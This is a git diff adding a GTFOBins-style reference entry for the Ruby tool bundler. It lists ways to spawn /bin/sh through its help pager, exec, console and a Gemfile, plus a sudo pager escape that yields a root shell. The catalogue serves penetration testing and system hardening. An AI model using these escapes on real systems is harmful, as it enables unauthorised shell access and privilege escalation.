diff --git a/_gtfobins/bundler.md b/_gtfobins/bundler.md
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+---
+functions:
+  shell:
+    - description: This invokes the default pager, which is likely to be  [`less`](/gtfobins/man/), other functions may apply.
+      code: |
+        bundler help
+        !/bin/sh
+    - code: |
+        TF=$(mktemp -d)
+        touch $TF/Gemfile
+        cd $TF
+        bundler exec /bin/sh
+    - description: This spawns an interactive shell via [`irb`](/gtfobins/irb/).
+      code: |
+        TF=$(mktemp -d)
+        touch $TF/Gemfile
+        cd $TF
+        bundler console
+        system('/bin/sh -c /bin/sh')
+    - code: |
+        TF=$(mktemp -d)
+        echo 'system("/bin/sh")' > $TF/Gemfile
+        cd $TF
+        bundler install
+  sudo:
+    - description: This invokes the default pager, which is likely to be  [`less`](/gtfobins/man/), other functions may apply.
+      code: |
+        sudo bundler help
+        !/bin/sh
+---